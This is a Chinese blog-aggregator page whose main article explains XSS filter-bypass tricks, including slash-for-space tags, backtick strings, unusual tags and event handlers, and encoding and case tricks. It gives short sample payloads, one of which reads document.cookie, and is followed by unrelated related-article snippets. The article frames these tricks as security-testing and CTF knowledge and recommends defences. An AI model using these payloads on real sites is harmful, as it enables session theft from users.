当前位置： 首页 > article >正文

XSS的半点小技巧

article 2026/4/13 1:04:51
你提到的“/”和“ES6”是绕过滤器的特殊技巧我来逐一说明1. 标签名后的/代替空格这是绕过标签名检测的技巧有些过滤器检测标签是否以标签名␣开头用script/或img/代替script␣可绕过简单正则示例script/srcxss.js会被某些系统误认为标签未结束2. ES6 模板字符串绕过引号检测这是绕过属性值引号检测的技巧过滤器常检测onclickjavascript:...中的双引号用反引号包裹javascript:alert(1)示例svg onloadalert\1\可绕过简单引号匹配3. 可用标签和事件处理器可用标签除了 script/img/error 等1. SVG 相关 - svg animate set foreignObject 2. HTML5 新标签 - details ontogglepayload - select onfocuspayload - video onplaypayload 3. 传统标签 - body onloadpayload - input onfocuspayload - textarea onselectpayload - marquee onstartpayload - iframe onloadpayload 4. 自闭合标签 - link hrefjavascript:payload - meta http-equivrefresh content0;urljavascript:payload可用事件处理器鼠标事件onclick, onmouseover, onmousedown 焦点事件onfocus, onblur, onfocusin 加载事件onload, onpageshow, onbeforeunload 表单事件onchange, onselect, onsubmit 键盘事件onkeydown, onkeypress, onkeyup 其他onresize, onscroll, ontoggle4. 其他绕过技巧Unicode 编码\u0061lert(1)→alert(1)HTML 实体编码#x61;lert(1)换行符绕过a hrefjavascript:alert(1)大小写混合ScRiPtalert(1)/sCrIpT空字符script\x00alert(1)/script示例组合攻击!-- 使用 / 代替空格 -- svg/onloadalert1 !-- ES6 模板字符串 -- button onclickalertdocument.cookie点击/button !-- 使用不常见的标签和事件 -- details ontoggleconfirm(1) select onfocusalert(1) autofocus这些技巧常用于XSS跨站脚本攻击的构造在安全测试和CTF比赛中常见。实际防护需要多层过滤包括输入验证、输出编码、CSP策略等。

相关文章：

XSS的半点小技巧

你提到的“/”和“ES6”是绕过滤器的特殊技巧&#xff0c;我来逐一说明&#xff1a;1. 标签名后的 /代替空格这是绕过标签名检测的技巧有些过滤器检测标签是否以 <标签名␣开头用 <script/或 <img/代替 <script␣可绕过简单正则示例&#xff1a;<script/src&quo…...

编程日记 2026/4/13 1:04:51

SAP EWM委外采购实战：手把手教你用BADI增强打通订单与交货单的关联链路

SAP EWM委外采购增强实战&#xff1a;从业务痛点到代码落地的全链路设计 在SAP EWM的委外采购业务场景中&#xff0c;采购订单与交货单的关联关系缺失是许多企业面临的共性问题。当仓库管理系统需要追溯委外加工物料的完整生命周期时&#xff0c;标准功能往往无法提供足够的数据…...

编程日记 2026/4/13 1:04:51

接口自动化流程

1.需求分析 理解业务需求&#xff0c;了解接口所支持的业务场景和业务逻辑&#xff0c;根据业务需求&#xff0c;明确接口需要实现的具体功能&#xff0c;如数据的获取&#xff0c;修改&#xff0c;删除等操作&#xff0c;以及接口的输入输出要求&#xff0c;分析接口之间的依…...

编程日记 2026/4/13 1:04:51

手把手教你用MATLAB和DPABI处理rs-fMRI数据：从DICOM到ALFF的保姆级避坑指南

手把手教你用MATLAB和DPABI处理rs-fMRI数据&#xff1a;从DICOM到ALFF的保姆级避坑指南 当你第一次接触静息态功能磁共振成像(rs-fMRI)数据分析时&#xff0c;面对一堆DICOM格式的原始数据和复杂的处理流程&#xff0c;很容易感到无从下手。作为过来人&#xff0c;我完全理解这…...

编程日记 2026/4/13 1:04:47

三菱PLC ST语言编程进阶：GX WORKS3中的运算符与语法详解

1. ST语言编程基础回顾 在开始深入探讨GX WORKS3中的ST语言高级特性之前&#xff0c;我们先快速回顾一下基础知识。ST&#xff08;Structured Text&#xff09;语言是IEC 61131-3标准中定义的PLC编程语言之一&#xff0c;它采用类似Pascal的高级语言风格&#xff0c;特别适合处…...

编程日记 2026/4/13 1:02:47

MAX32664生物传感器驱动库详解：嵌入式生理参数快速集成方案

1. 项目概述SparkFun Bio Sensor Hub Library 是专为 Maxim Integrated&#xff08;现属 Analog Devices&#xff09;MAX32664 生物传感集线器&#xff08;Bio Metric Hub IC&#xff09;设计的嵌入式 C 语言驱动库。该库并非通用传感器抽象层&#xff0c;而是深度绑定 MAX3266…...

编程日记 2026/4/13 1:02:47

深度拆解 Redis ZSet 底层实现：从“紧凑排队”到“多级瞬移”

在 Redis 的世界里&#xff0c;为了把性能和内存利用率压榨到极致&#xff0c;底层实现往往是“看人下菜碟”。今天咱们就揭开 ZSet 的底裤&#xff0c;看看它到底是怎么从“紧凑排队”进化到“多级瞬移”的。 一、 是什么&#xff1a;ZSet 的“两副面孔” 首先纠正一个小插曲…...

编程日记 2026/4/13 1:02:47

Threads库：裸机与RTOS下的轻量级函数多实例并发框架

1. Threads 库深度解析&#xff1a;在裸机与 RTOS 环境下实现函数的多实例并发执行1.1 项目定位与工程价值“Threads”并非一个独立的实时操作系统&#xff08;RTOS&#xff09;&#xff0c;而是一个轻量级、可移植的函数级多实例并发抽象层。其核心设计目标是&#xff1a;在不…...

编程日记 2026/4/13 1:02:47

Arduino：解决手动解压ESP32库到packages文件夹，但Arduino IDE还是无法找到ESP32的问题

在学习使用Arduino时&#xff0c;如果需要在Arduino IDE里找到ESP32S3 DEV Module&#xff0c;一种方法是点击开发板管理器&#xff0c;搜索ESP32库&#xff0c;点击自动安装&#xff08;如图1&#xff09;&#xff0c;安装完成方可使用&#xff0c;但是因为网络的原因&#xf…...

编程日记 2026/4/13 1:02:46

深夜告警炸裂？这份Linux故障排查“作战地图”请收好肆

先唠两句&#xff1a;参数就像餐厅点单 把API想象成一家餐厅的“后厨系统”。 ? 路径参数/dishes/{dish_id} -> 好比你要点“宫保鸡丁”这道具体的菜&#xff0c;它是菜单&#xff08;资源路径&#xff09;的一部分。查询参数/dishes?spicytrue&typeSichuan -> 好比…...

编程日记 2026/4/13 1:00:46

不满意Oh My Zsh启动卡顿，来试试Starship吧裙

pagehelper整合 引入依赖com.github.pagehelperpagehelper-spring-boot-starter2.1.0compile编写代码 GetMapping("/list/{pageNo}") public PageInfo findAll(PathVariable int pageNo) {// 设置当前页码和每页显示的条数PageHelper.startPage(pageNo, 10);// 查询数…...

编程日记 2026/4/13 1:00:46

VC0706摄像头模块UART驱动与状态机设计详解

1. VC0706 Camera Shield 驱动技术深度解析 1.1 芯片级架构与硬件接口特性 VC0706 是由深圳中星微电子&#xff08;Vimicro&#xff09;推出的低功耗、高集成度 JPEG 编码图像处理 SoC&#xff0c;广泛应用于早期嵌入式视觉模块。RadioShack 推出的 VC0706 Camera Shield 是基…...

编程日记 2026/4/13 1:00:46

EPFramewrokAtmega：面向AVR的确定性嵌入式固件框架

1. 项目概述EPFramewrokAtmega 是一个面向 Atmel AVR 系列微控制器&#xff08;特别是 ATmega328P、ATmega2560 等主流型号&#xff09;的轻量级嵌入式固件框架&#xff0c;其设计目标并非替代 Arduino 生态&#xff0c;而是为追求确定性、资源可控性与底层可追溯性的专业嵌入式…...

编程日记 2026/4/13 1:00:42

014、分布式系统核心：一致性、可用性与分区容错

014、分布式系统核心：一致性、可用性与分区容错 深夜报警：订单状态丢了 上周三凌晨两点，手机突然狂震。监控告警显示，订单服务的双活机房出现数据不一致——同一订单在A机房显示“已支付”，在B机房却是“待付款”。业务部门紧急来电，用户已经投诉付款后订单没反应。 团…...

编程日记 2026/4/13 1:00:40

基于Python的科研管理系统毕业设计

博主介绍&#xff1a;✌ 专注于Java,python,✌关注✌私信我✌具体的问题&#xff0c;我会尽力帮助你。一、研究目的本研究旨在开发一款基于Python的科研管理系统&#xff0c;以实现科研项目管理、数据存储与分析、团队协作与沟通等功能。具体研究目的如下&#xff1a;提高科研项…...

编程日记 2026/4/13 0:58:39

Typecho完美实现回复可见功能

之前转载过这么一篇文章《typecho非插件实现回复可见功能》&#xff0c;可以实现回复可见功能&#xff0c;但是有个问题&#xff0c;在文章列表页展示文章缩略内容时&#xff0c;如果回复可见内容刚好在缩略内容的位置上时&#xff0c;就会暴露出来&#xff0c;同时Feed里面也会…...

编程日记 2026/4/13 0:58:39

基于Python的多媒体信息共享平台毕设

博主介绍&#xff1a;✌ 专注于Java,python,✌关注✌私信我✌具体的问题&#xff0c;我会尽力帮助你。一、研究目的本研究旨在设计并实现一个基于Python的多媒体信息共享平台&#xff0c;以解决当前多媒体信息共享过程中存在的诸多问题。具体而言&#xff0c;研究目的可概括为以…...

编程日记 2026/4/13 0:58:39

typecho按分类搜索文章

typecho根据分类搜索文章.jpg 之前我写的soso搜索增强插件其实已经能够根据分类进行搜索内容了&#xff0c;不过需要模板上进行配合&#xff0c;比如我们搜索分类id为2620下关于typecho的文章&#xff0c;需要传递分类id的参数给cat&#xff0c;让插件获取&#xff0c;比如这个…...

编程日记 2026/4/13 0:58:39

别再死记命令了！通过一个Packet Tracer静态路由实验，彻底搞懂‘下一跳’和‘出接口’的区别

别再死记命令了&#xff01;通过Packet Tracer实验彻底搞懂静态路由的“下一跳”与“出接口” 刚接触网络配置时&#xff0c;很多人会陷入一个误区&#xff1a;把静态路由的配置命令当作魔法咒语来记忆。直到某天&#xff0c;当网络拓扑发生变化&#xff0c;或者需要在不同场景…...

编程日记 2026/4/13 0:58:39

3步揪出Windows热键小偷：Hotkey Detective终极使用指南

3步揪出Windows热键小偷&#xff1a;Hotkey Detective终极使用指南 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 你是否曾…...

编程日记 2026/4/13 0:56:38

开源QMC解密工具深度解析：5分钟掌握音频格式转换核心技术

开源QMC解密工具深度解析&#xff1a;5分钟掌握音频格式转换核心技术 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 一键批量转换方法&#xff1a;跨平台音乐文件解锁方案…...

编程日记 2026/4/13 0:56:38

给STM32F429的RGB屏做个‘相册’：FATFS+软件解码JPG实战（避坑SD卡格式化）

STM32F429实战&#xff1a;构建安全高效的JPG图片浏览器 在嵌入式设备上实现图片浏览功能是许多项目的常见需求&#xff0c;尤其是当我们需要为产品添加图形界面或多媒体展示能力时。STM32F429凭借其强大的LTDC接口和DMA2D加速器&#xff0c;成为中高端嵌入式图形应用的理想选择…...

编程日记 2026/4/13 0:56:30

【JavaScript高级编程】拆解函数流水线 上衫

一、什么是setuptools&#xff1f; setuptools 是一个用于创建、分发和安装 Python 包的核心库。 它可以帮助你&#xff1a; 定义 Python 包的元数据&#xff08;如名称、版本、作者等&#xff09;。 声明包的依赖项&#xff0c;确保你的包能够正确运行。 构建源代码分发包&…...

编程日记 2026/4/13 0:56:30

你的SSH密钥可能已经过期了噬

引言 在现代软件开发中&#xff0c;性能始终是衡量应用质量的重要指标之一。无论是企业级应用、云服务还是桌面程序&#xff0c;性能优化都能显著提升用户体验、降低基础设施成本并增强系统的可扩展性。对于使用 C# 开发的应用程序而言&#xff0c;性能优化涉及多个层面&#x…...

编程日记 2026/4/13 0:56:27

我试了四种去除 Gemini 水印的方法，整理成一篇实用对比撕

认识Pass层级结构 Pass范围从上到下一共分为5个层级&#xff1a; 模块层级&#xff1a;单个.ll或.bc文件 调用图层级&#xff1a;函数调用的关系。 函数层级&#xff1a;单个函数。 基本块层级&#xff1a;单个代码块。例如C语言中{}括起来的最小代码。 指令层级&#xff1a;单…...

编程日记 2026/4/13 0:54:26

Stripe 支付集成实战：Java后端核心API详解与避坑指南

1. 为什么选择Stripe支付集成&#xff1f; Stripe作为全球领先的在线支付解决方案&#xff0c;特别适合需要处理国际支付的电商或SaaS平台。我在多个跨境项目中采用Stripe后发现&#xff0c;其API设计非常开发者友好&#xff0c;尤其是对Java后端技术栈的支持相当完善。与国内支…...

编程日记 2026/4/13 0:54:26

大模型“表面公平”陷阱（GPT-4/Claude/Gemini三大模型在12类敏感属性上的隐性偏差对比白皮书）

第一章&#xff1a;大模型工程化中的模型公平性评估 2026奇点智能技术大会(https://ml-summit.org) 大模型在招聘筛选、信贷审批、司法辅助等高风险场景中部署前&#xff0c;必须系统性验证其对不同人口统计学群体的预测一致性。公平性不是静态属性&#xff0c;而是需在数据分…...

编程日记 2026/4/13 0:54:26

从telnet到ssh：银河麒麟系统远程管理方案对比与迁移指南

从telnet到ssh&#xff1a;银河麒麟系统远程管理方案对比与迁移指南 在数字化运维的浪潮中&#xff0c;远程管理技术如同系统管理员的"千里眼"和"顺风耳"。银河麒麟作为国产操作系统的代表&#xff0c;其安全性设计一直走在行业前沿。然而&#xff0c;许多…...

编程日记 2026/4/13 0:54:26

3步快速部署开源驾驶辅助系统FlowPilot

3步快速部署开源驾驶辅助系统FlowPilot 【免费下载链接】flowpilot flow-pilot is an openpilot based driver assistance system that runs on linux, windows and android powered machines. 项目地址: https://gitcode.com/gh_mirrors/fl/flowpilot FlowPilot是一款基…...

编程日记 2026/4/13 0:54:22

【内部泄露】某千亿参数大模型压缩技术栈（含自研GEMM-aware剪枝+动态bit-width量化），仅限本文完整复现

第一章&#xff1a;大模型工程化中的模型压缩算法对比 2026奇点智能技术大会(https://ml-summit.org) 模型压缩是实现大语言模型在边缘设备、低延迟服务及成本敏感场景中落地的关键工程环节。不同压缩路径在精度保留、推理加速比、部署兼容性与训练资源消耗上呈现显著权衡&…...

编程日记 2026/4/13 0:52:22